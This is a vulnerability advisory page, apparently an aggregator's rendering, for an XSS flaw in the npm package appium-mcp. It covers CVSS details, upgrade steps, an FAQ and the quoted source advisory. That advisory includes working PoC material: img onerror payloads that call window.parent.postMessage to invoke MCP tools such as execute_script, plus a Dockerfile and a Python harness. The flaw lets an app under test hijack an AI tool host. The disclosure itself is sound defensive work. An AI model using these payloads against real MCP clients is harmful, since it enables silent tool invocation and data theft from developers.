GHSA-x975-rgx4-5fh4: appium-mcp Remote Code Execution Vulnerability

HIGH
CVSS 8.2
CWE-79
Published
Advisory Summary

GHSA-x975-rgx4-5fh4 is a HIGH (CVSS 8.2) remote code execution vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting appium-mcp libraries in the npm ecosystem. The issue involves unescaped locator data xss in mcp-ui resource (createlocatorgeneratorui). Remediation is available by upgrading affected packages to version 1.85.10.

GHSA-x975-rgx4-5fh4 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-x975-rgx4-5fh4
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product appium-mcp
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-x975-rgx4-5fh4

To remediate this vulnerability, upgrade all affected appium-mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

appium-mcp fixed: 1.85.10
npm install appium-mcp@1.85.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls appium-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-x975-rgx4-5fh4, inspect your project dependencies using npm:

npm ls appium-mcp

Analyze the terminal output to locate any version of appium-mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.85.10), your application is affected.

Note: The npm ls appium-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In appium-mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI) ### Summary `appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes — `text`, `content-desc`, `resource-id`, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability. ### Details The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline. **Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:** ```ts ${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''} ${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''} ${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''} <code class="selector">${selector}</code> <button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button> ``` None of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection. By contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911–916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice. **Complete data flow (source → sink):** 1. `src/tools/test-generation/locators.ts:57` — `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled. 2. `src/tools/test-generation/locators.ts:72` — the raw page source is passed to `generateAllElementLocators`. 3. `src/locators/source-parsing.ts:108` — XML attribute values undergo only newline replacement (`attr.value.replace(/(\n)/gm, '\n')`); HTML entities such as `&lt;` are decoded into raw `<` characters by the XML parser with no re-encoding. 4. `src/locators/generate-all-locators.ts:73–75` — `element.attributes.text`, `['content-desc']`, and `['resource-id']` are copied verbatim into the locator result object. 5. `src/tools/test-generation/locators.ts:90` — the locator objects are passed to `createLocatorGeneratorUI`. 6. `src/ui/mcp-ui-utils.ts:730–740` — values are interpolated directly into the HTML response (sink). The `window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*')` mechanism used throughout `src/ui/mcp-ui-utils.ts:645–695` means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally. **Remediation** requires an HTML-escaping helper (replacing `&`, `<`, `>`, `"`, `'`) applied to all element properties in the HTML context, and `JSON.stringify` for values embedded inside JavaScript string literals in `onclick` handlers. ### PoC **Prerequisites:** - `appium-mcp` v1.85.8 or v1.85.9 installed from npm - Node.js 20+ with the package built (`npm install && npm run build`) - An MCP client that renders HTML resources returned by `generate_locators` (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host) **Static confirmation (no Appium session required):** ```bash node --input-type=module <<'EOF' import { generateAllElementLocators } from './dist/locators/generate-all-locators.js'; import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js'; const xml = `<hierarchy> <node class="android.widget.TextView" clickable="true" enabled="true" displayed="true" text="&lt;img src=x onerror=&quot;window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')&quot;&gt;" content-desc="&lt;b&gt;xss-in-contentDesc&lt;/b&gt;" resource-id="com.attacker.app/&lt;u&gt;xss-resource-id&lt;/u&gt;"/> </hierarchy>`; const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true }); const html = createLocatorGeneratorUI(locators); console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror=')); console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>')); console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>')); EOF ``` **Expected output:** ``` UNESCAPED <img src=x onerror= present: true UNESCAPED <b> in contentDesc present: true UNESCAPED <u> in resourceId present: true ``` **Dynamic confirmation (Docker, network-isolated):** ```bash # Build context is the parent directory (contains repo/ and vuln-001/) docker build -t appium-mcp-vuln-001 \ -f vuln-001/Dockerfile \ reports/npmAI_303_appium__appium-mcp docker run --rm --network none appium-mcp-vuln-001 ``` The container output confirms: ``` HTML has unescaped <img src=x onerror= : true Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p> │ [PASS] XSS CONFIRMED │ │ createLocatorGeneratorUI inserted the raw <img> XSS tag │ │ execute the onerror handler, enabling arbitrary MCP tool │ ``` **End-to-end exploitation against a real MCP client:** 1. Attacker publishes or sideloads an Android/iOS app whose UI element `text`, `content-desc`, or `resource-id` attributes contain an XSS payload (e.g., `<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">`). 2. Victim developer connects their Appium MCP server to the attacker's app and calls the `generate_locators` MCP tool. 3. The MCP client renders the returned HTML resource in a WebView / iframe. 4. The injected `onerror` handler fires and posts a crafted `tool` message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., `appium_screenshot`, `execute_script`, `get_page_source`) without user confirmation. ### Impact This is a **Cross-Site Scripting (XSS)** vulnerability. Any developer using `appium-mcp` with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application. **Impact scenarios:** - **Arbitrary MCP tool invocation:** Injected JavaScript calls `window.parent.postMessage` with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device). - **Credential and data exfiltration:** Via `execute_script` or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source. - **Lateral movement / persistence:** If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine. - **Supply-chain / CI abuse:** Automated test pipelines that call `generate_locators` against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required. The attack requires no authentication (`PR:N`), the tool is enabled by default (`default-on: Y`), and the scope is changed (`S:C`) because JavaScript executes in the MCP host frame rather than the sandboxed resource. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI # # Build context: reports/npmAI_303_appium__appium-mcp/ # (parent directory containing both repo/ and vuln-001/) # # Build: docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile . # Run: docker run --rm --network none appium-mcp-vuln-001 FROM node:20 WORKDIR /app # Copy the vulnerable appium-mcp source tree COPY repo/ ./ # Install all dependencies. # --ignore-scripts skips postinstall hooks (native node-gyp builds) that # are irrelevant for the TypeScript compilation we need. # --no-audit / --no-fund suppress network noise. RUN npm install --ignore-scripts --no-audit --no-fund 2>&1 # Compile TypeScript -> JavaScript (dist/) RUN npm run build # Copy the PoC exploit script into the built app directory COPY vuln-001/exploit.mjs ./exploit.mjs # Default: run the XSS exploit proof-of-concept ENTRYPOINT ["node", "exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI This script: 1. Builds a Docker image containing the vulnerable appium-mcp source. 2. Runs exploit.mjs inside the container with --network none (no outbound traffic). 3. Parses the output to confirm the XSS payload survived unescaped into the HTML. 4. Writes phase2_result.json with PASS/FAIL verdict and evidence. Safety constraints: - Uses local Docker only (no external services). - Network is disabled in the container (--network none). - No live Appium session, no real device, no real credentials. - The repo source is not modified; the vulnerability is in the original code. """ import json import os import subprocess import sys # ── Paths ───────────────────────────────────────────────────────────────────── VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # parent: npmAI_303_appium__appium-mcp/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_PATH = os.path.join(VULN_DIR, "phase2_result.json") IMAGE_NAME = "appium-mcp-vuln-001" BUILD_CMD = ( f"docker build -t {IMAGE_NAME} " f"-f vuln-001/Dockerfile " f"{CONTEXT_DIR}" ) RUN_CMD = f"docker run --rm --network none {IMAGE_NAME}" POC_CMD = f"python3 {os.path.basename(__file__)}" def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]: """Run a subprocess and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout, ) return result.returncode, result.stdout, result.stderr def build_image() -> tuple[bool, str]: """Build the Docker image. Returns (success, error_message).""" print("[*] Building Docker image (this may take several minutes for npm install)...") print(f" {BUILD_CMD}\n") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR], timeout=600, ) if rc != 0: tail = (stdout + stderr)[-3000:] print(f"[!] Build FAILED (exit {rc}):\n{tail}") return False, tail print("[*] Build succeeded.") return True, "" def run_exploit() -> tuple[int, str, str]: """Run the exploit container. Returns (returncode, stdout, stderr).""" print(f"\n[*] Running exploit container...") print(f" {RUN_CMD}\n") rc, stdout, stderr = run( ["docker", "run", "--rm", "--network", "none", IMAGE_NAME], timeout=120, ) print("--- container stdout ---") print(stdout) if stderr.strip(): print("--- container stderr ---") print(stderr) return rc, stdout, stderr def extract_evidence(stdout: str) -> str: """Pull the most relevant lines from exploit output.""" evidence_lines = [] for line in stdout.splitlines(): upper = line.upper() if any(kw in upper for kw in [ "PASS", "FAIL", "CONFIRMED", "EVIDENCE", "UNESCAPED", "IMG SRC", "ONERROR", "TEXT PARAGRAPH", "CONTENTDESC", "RESOURCEID", "XSS", ]): evidence_lines.append(line) return "\n".join(evidence_lines) if evidence_lines else stdout[:2000] def write_result(payload: dict) -> None: with open(RESULT_PATH, "w", encoding="utf-8") as fh: json.dump(payload, fh, indent=2, ensure_ascii=False) print(f"\n[*] Result written to: {RESULT_PATH}") def main() -> None: # ── Build ────────────────────────────────────────────────────────────────── build_ok, build_err = build_image() if not build_ok: write_result({ "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. " "오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"Build error (last 2000 chars):\n{build_err[-2000:]}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) # ── Run ──────────────────────────────────────────────────────────────────── exit_code, stdout, stderr = run_exploit() # ── Verdict ──────────────────────────────────────────────────────────────── xss_confirmed = (exit_code == 0) and ("XSS CONFIRMED" in stdout) evidence = extract_evidence(stdout) if xss_confirmed: write_result({ "passed": True, "verdict": "PASS", "reason": ( "컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. " "generateAllElementLocators()가 XML 속성의 &lt;img&gt; 엔티티를 " "원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, " "createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. " "MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 " "window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": evidence, "artifacts": ["Dockerfile", "poc.py"], }) print("[PASS] XSS exploit confirmed.") sys.exit(0) else: reason_detail = ( f"컨테이너 종료 코드: {exit_code}. " "'XSS CONFIRMED' 문자열이 출력에 없음. " "exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요." ) write_result({ "passed": False, "verdict": "FAIL", "reason": reason_detail, "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": (stdout + "\n" + stderr)[:3000], "artifacts": ["Dockerfile", "poc.py"], }) print(f"[FAIL] Exploit did not produce expected output (exit_code={exit_code}).") sys.exit(1) if __name__ == "__main__": main() ```

GHSA-x975-rgx4-5fh4 Affected appium-mcp Versions

1 component(s)
Fixed Versions:
1.85.10
Product / Package Ecosystem Affected Versions Fixed Version
appium-mcp
npm
< 1.85.10
1.85.10

References

Frequently Asked Questions

What is GHSA-x975-rgx4-5fh4?
GHSA-x975-rgx4-5fh4 is a security vulnerability in appium-mcp involving Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI) under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which appium-mcp versions are affected?
Affected versions include releases prior to 1.85.10 across affected packages: appium-mcp.
What version fixes GHSA-x975-rgx4-5fh4?
Upgrading to 1.85.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is appium-mcp affected?
Yes, appium-mcp is affected in releases prior to 1.85.10. Upgrade your dependency to 1.85.10 or later.
What is the CVSS score of GHSA-x975-rgx4-5fh4?
GHSA-x975-rgx4-5fh4 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N.
What CWE is associated with GHSA-x975-rgx4-5fh4?
GHSA-x975-rgx4-5fh4 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for GHSA-x975-rgx4-5fh4?
Run the dependency tree command: 'npm ls appium-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x975-rgx4-5fh4",
  "modified" : "2026-06-19T21:43:14Z",
  "published" : "2026-06-19T21:43:14Z",
  "aliases" : [ ],
  "summary" : "appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)",
  "details" : "## Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)\n\n### Summary\n\n`appium-mcp`'s `createLocatorGeneratorUI` function interpolates attacker-controlled element attributes — `text`, `content-desc`, `resource-id`, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the `generate_locators` tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via `window.parent.postMessage`, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.\n\n### Details\n\nThe vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.\n\n**Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:**\n\n```ts\n${element.text ? `<p class=\"element-text\"><strong>Text:</strong> ${element.text}</p>` : ''}\n${element.contentDesc ? `<p class=\"element-text\"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''}\n${element.resourceId ? `<p class=\"element-text\"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''}\n<code class=\"selector\">${selector}</code>\n<button class=\"test-btn\" onclick=\"testLocator('${strategy}', `${selector.replace(/`/g, '\\\\`')}`)\">Test</button>\n```\n\nNone of `element.text`, `element.contentDesc`, `element.resourceId`, `selector`, or `strategy` are HTML-escaped before insertion. The `onclick` attribute additionally embeds `selector` and `strategy` into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.\n\nBy contrast, `createPageSourceInspectorUI` at `src/ui/mcp-ui-utils.ts:911–916` does apply escaping to the page source, confirming that the protection gap in `createLocatorGeneratorUI` is an oversight, not a design choice.\n\n**Complete data flow (source → sink):**\n\n1. `src/tools/test-generation/locators.ts:57` — `getPageSource(driver)` reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.\n2. `src/tools/test-generation/locators.ts:72` — the raw page source is passed to `generateAllElementLocators`.\n3. `src/locators/source-parsing.ts:108` — XML attribute values undergo only newline replacement (`attr.value.replace(/(\\n)/gm, '\\n')`); HTML entities such as `&lt;` are decoded into raw `<` characters by the XML parser with no re-encoding.\n4. `src/locators/generate-all-locators.ts:73–75` — `element.attributes.text`, `['content-desc']`, and `['resource-id']` are copied verbatim into the locator result object.\n5. `src/tools/test-generation/locators.ts:90` — the locator objects are passed to `createLocatorGeneratorUI`.\n6. `src/ui/mcp-ui-utils.ts:730–740` — values are interpolated directly into the HTML response (sink).\n\nThe `window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*')` mechanism used throughout `src/ui/mcp-ui-utils.ts:645–695` means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally.\n\n**Remediation** requires an HTML-escaping helper (replacing `&`, `<`, `>`, `\"`, `'`) applied to all element properties in the HTML context, and `JSON.stringify` for values embedded inside JavaScript string literals in `onclick` handlers.\n\n### PoC\n\n**Prerequisites:**\n- `appium-mcp` v1.85.8 or v1.85.9 installed from npm\n- Node.js 20+ with the package built (`npm install && npm run build`)\n- An MCP client that renders HTML resources returned by `generate_locators` (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host)\n\n**Static confirmation (no Appium session required):**\n\n```bash\nnode --input-type=module <<'EOF'\nimport { generateAllElementLocators } from './dist/locators/generate-all-locators.js';\nimport { createLocatorGeneratorUI }   from './dist/ui/mcp-ui-utils.js';\n\nconst xml = `<hierarchy>\n  <node class=\"android.widget.TextView\"\n        clickable=\"true\"\n        enabled=\"true\"\n        displayed=\"true\"\n        text=\"&lt;img src=x onerror=&quot;window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')&quot;&gt;\"\n        content-desc=\"&lt;b&gt;xss-in-contentDesc&lt;/b&gt;\"\n        resource-id=\"com.attacker.app/&lt;u&gt;xss-resource-id&lt;/u&gt;\"/>\n</hierarchy>`;\n\nconst locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true });\nconst html     = createLocatorGeneratorUI(locators);\n\nconsole.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror='));\nconsole.log('UNESCAPED <b> in contentDesc present:  ', html.includes('<b>xss-in-contentDesc</b>'));\nconsole.log('UNESCAPED <u> in resourceId present:   ', html.includes('<u>xss-resource-id</u>'));\nEOF\n```\n\n**Expected output:**\n```\nUNESCAPED <img src=x onerror= present: true\nUNESCAPED <b> in contentDesc present:   true\nUNESCAPED <u> in resourceId present:    true\n```\n\n**Dynamic confirmation (Docker, network-isolated):**\n\n```bash\n# Build context is the parent directory (contains repo/ and vuln-001/)\ndocker build -t appium-mcp-vuln-001 \\\n  -f vuln-001/Dockerfile \\\n  reports/npmAI_303_appium__appium-mcp\n\ndocker run --rm --network none appium-mcp-vuln-001\n```\n\nThe container output confirms:\n```\nHTML has unescaped <img src=x onerror= : true\nText paragraph  : <p class=\"element-text\"><strong>Text:</strong> <img src=x onerror=\"window.parent.postMessage(...)\"></p>\n│  [PASS] XSS CONFIRMED                                       │\n│  createLocatorGeneratorUI inserted the raw <img> XSS tag   │\n│  execute the onerror handler, enabling arbitrary MCP tool   │\n```\n\n**End-to-end exploitation against a real MCP client:**\n\n1. Attacker publishes or sideloads an Android/iOS app whose UI element `text`, `content-desc`, or `resource-id` attributes contain an XSS payload (e.g., `<img src=x onerror=\"window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')\">`).\n2. Victim developer connects their Appium MCP server to the attacker's app and calls the `generate_locators` MCP tool.\n3. The MCP client renders the returned HTML resource in a WebView / iframe.\n4. The injected `onerror` handler fires and posts a crafted `tool` message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., `appium_screenshot`, `execute_script`, `get_page_source`) without user confirmation.\n\n### Impact\n\nThis is a **Cross-Site Scripting (XSS)** vulnerability. Any developer using `appium-mcp` with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application.\n\n**Impact scenarios:**\n- **Arbitrary MCP tool invocation:** Injected JavaScript calls `window.parent.postMessage` with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device).\n- **Credential and data exfiltration:** Via `execute_script` or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source.\n- **Lateral movement / persistence:** If the MCP host exposes file-system or shell tools, the attacker can escalate to arbitrary code execution on the developer's machine.\n- **Supply-chain / CI abuse:** Automated test pipelines that call `generate_locators` against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required.\n\nThe attack requires no authentication (`PR:N`), the tool is enabled by default (`default-on: Y`), and the scope is changed (`S:C`) because JavaScript executes in the MCP host frame rather than the sandboxed resource.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI\n#\n# Build context: reports/npmAI_303_appium__appium-mcp/\n# (parent directory containing both repo/ and vuln-001/)\n#\n# Build:  docker build -t appium-mcp-vuln-001 -f vuln-001/Dockerfile .\n# Run:    docker run --rm --network none appium-mcp-vuln-001\n\nFROM node:20\n\nWORKDIR /app\n\n# Copy the vulnerable appium-mcp source tree\nCOPY repo/ ./\n\n# Install all dependencies.\n# --ignore-scripts skips postinstall hooks (native node-gyp builds) that\n# are irrelevant for the TypeScript compilation we need.\n# --no-audit / --no-fund suppress network noise.\nRUN npm install --ignore-scripts --no-audit --no-fund 2>&1\n\n# Compile TypeScript -> JavaScript (dist/)\nRUN npm run build\n\n# Copy the PoC exploit script into the built app directory\nCOPY vuln-001/exploit.mjs ./exploit.mjs\n\n# Default: run the XSS exploit proof-of-concept\nENTRYPOINT [\"node\", \"exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic PoC: Unescaped Locator Data XSS in appium-mcp createLocatorGeneratorUI\n\nThis script:\n  1. Builds a Docker image containing the vulnerable appium-mcp source.\n  2. Runs exploit.mjs inside the container with --network none (no outbound traffic).\n  3. Parses the output to confirm the XSS payload survived unescaped into the HTML.\n  4. Writes phase2_result.json with PASS/FAIL verdict and evidence.\n\nSafety constraints:\n  - Uses local Docker only (no external services).\n  - Network is disabled in the container (--network none).\n  - No live Appium session, no real device, no real credentials.\n  - The repo source is not modified; the vulnerability is in the original code.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# ── Paths ─────────────────────────────────────────────────────────────────────\nVULN_DIR    = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR)   # parent: npmAI_303_appium__appium-mcp/\nDOCKERFILE  = os.path.join(VULN_DIR, \"Dockerfile\")\nRESULT_PATH = os.path.join(VULN_DIR, \"phase2_result.json\")\n\nIMAGE_NAME  = \"appium-mcp-vuln-001\"\n\nBUILD_CMD = (\n    f\"docker build -t {IMAGE_NAME} \"\n    f\"-f vuln-001/Dockerfile \"\n    f\"{CONTEXT_DIR}\"\n)\nRUN_CMD = f\"docker run --rm --network none {IMAGE_NAME}\"\nPOC_CMD = f\"python3 {os.path.basename(__file__)}\"\n\n\ndef run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]:\n    \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image() -> tuple[bool, str]:\n    \"\"\"Build the Docker image. Returns (success, error_message).\"\"\"\n    print(\"[*] Building Docker image (this may take several minutes for npm install)...\")\n    print(f\"    {BUILD_CMD}\\n\")\n    rc, stdout, stderr = run(\n        [\"docker\", \"build\", \"-t\", IMAGE_NAME, \"-f\", DOCKERFILE, CONTEXT_DIR],\n        timeout=600,\n    )\n    if rc != 0:\n        tail = (stdout + stderr)[-3000:]\n        print(f\"[!] Build FAILED (exit {rc}):\\n{tail}\")\n        return False, tail\n    print(\"[*] Build succeeded.\")\n    return True, \"\"\n\n\ndef run_exploit() -> tuple[int, str, str]:\n    \"\"\"Run the exploit container. Returns (returncode, stdout, stderr).\"\"\"\n    print(f\"\\n[*] Running exploit container...\")\n    print(f\"    {RUN_CMD}\\n\")\n    rc, stdout, stderr = run(\n        [\"docker\", \"run\", \"--rm\", \"--network\", \"none\", IMAGE_NAME],\n        timeout=120,\n    )\n    print(\"--- container stdout ---\")\n    print(stdout)\n    if stderr.strip():\n        print(\"--- container stderr ---\")\n        print(stderr)\n    return rc, stdout, stderr\n\n\ndef extract_evidence(stdout: str) -> str:\n    \"\"\"Pull the most relevant lines from exploit output.\"\"\"\n    evidence_lines = []\n    for line in stdout.splitlines():\n        upper = line.upper()\n        if any(kw in upper for kw in [\n            \"PASS\", \"FAIL\", \"CONFIRMED\", \"EVIDENCE\",\n            \"UNESCAPED\", \"IMG SRC\", \"ONERROR\",\n            \"TEXT PARAGRAPH\", \"CONTENTDESC\", \"RESOURCEID\",\n            \"XSS\",\n        ]):\n            evidence_lines.append(line)\n    return \"\\n\".join(evidence_lines) if evidence_lines else stdout[:2000]\n\n\ndef write_result(payload: dict) -> None:\n    with open(RESULT_PATH, \"w\", encoding=\"utf-8\") as fh:\n        json.dump(payload, fh, indent=2, ensure_ascii=False)\n    print(f\"\\n[*] Result written to: {RESULT_PATH}\")\n\n\ndef main() -> None:\n    # ── Build ──────────────────────────────────────────────────────────────────\n    build_ok, build_err = build_image()\n    if not build_ok:\n        write_result({\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": (\n                \"Docker 이미지 빌드 실패. npm install 또는 TypeScript 컴파일 오류가 발생함. \"\n                \"오류 메시지를 확인하여 누락된 패키지나 호환성 문제를 해결한 뒤 재시도 필요.\"\n            ),\n            \"build_command\": BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": POC_CMD,\n            \"evidence\": f\"Build error (last 2000 chars):\\n{build_err[-2000:]}\",\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        sys.exit(1)\n\n    # ── Run ────────────────────────────────────────────────────────────────────\n    exit_code, stdout, stderr = run_exploit()\n\n    # ── Verdict ────────────────────────────────────────────────────────────────\n    xss_confirmed = (exit_code == 0) and (\"XSS CONFIRMED\" in stdout)\n    evidence = extract_evidence(stdout)\n\n    if xss_confirmed:\n        write_result({\n            \"passed\": True,\n            \"verdict\": \"PASS\",\n            \"reason\": (\n                \"컨테이너 내부에서 실제 실행을 통해 XSS 취약점이 확인됨. \"\n                \"generateAllElementLocators()가 XML 속성의 &lt;img&gt; 엔티티를 \"\n                \"원시 HTML 태그 <img src=x onerror=...>로 디코딩하고, \"\n                \"createLocatorGeneratorUI()가 이를 HTML 이스케이프 없이 그대로 삽입함. \"\n                \"MCP UI 렌더러(iframe/WebView)에서 해당 HTML을 렌더링하면 onerror 핸들러가 실행되어 \"\n                \"window.parent.postMessage()를 통해 임의 MCP 도구를 호출할 수 있음.\"\n            ),\n            \"build_command\": BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": POC_CMD,\n            \"evidence\": evidence,\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        print(\"[PASS] XSS exploit confirmed.\")\n        sys.exit(0)\n    else:\n        reason_detail = (\n            f\"컨테이너 종료 코드: {exit_code}. \"\n            \"'XSS CONFIRMED' 문자열이 출력에 없음. \"\n            \"exploit.mjs 또는 Dockerfile을 확인하고 재시도 필요.\"\n        )\n        write_result({\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": reason_detail,\n            \"build_command\": 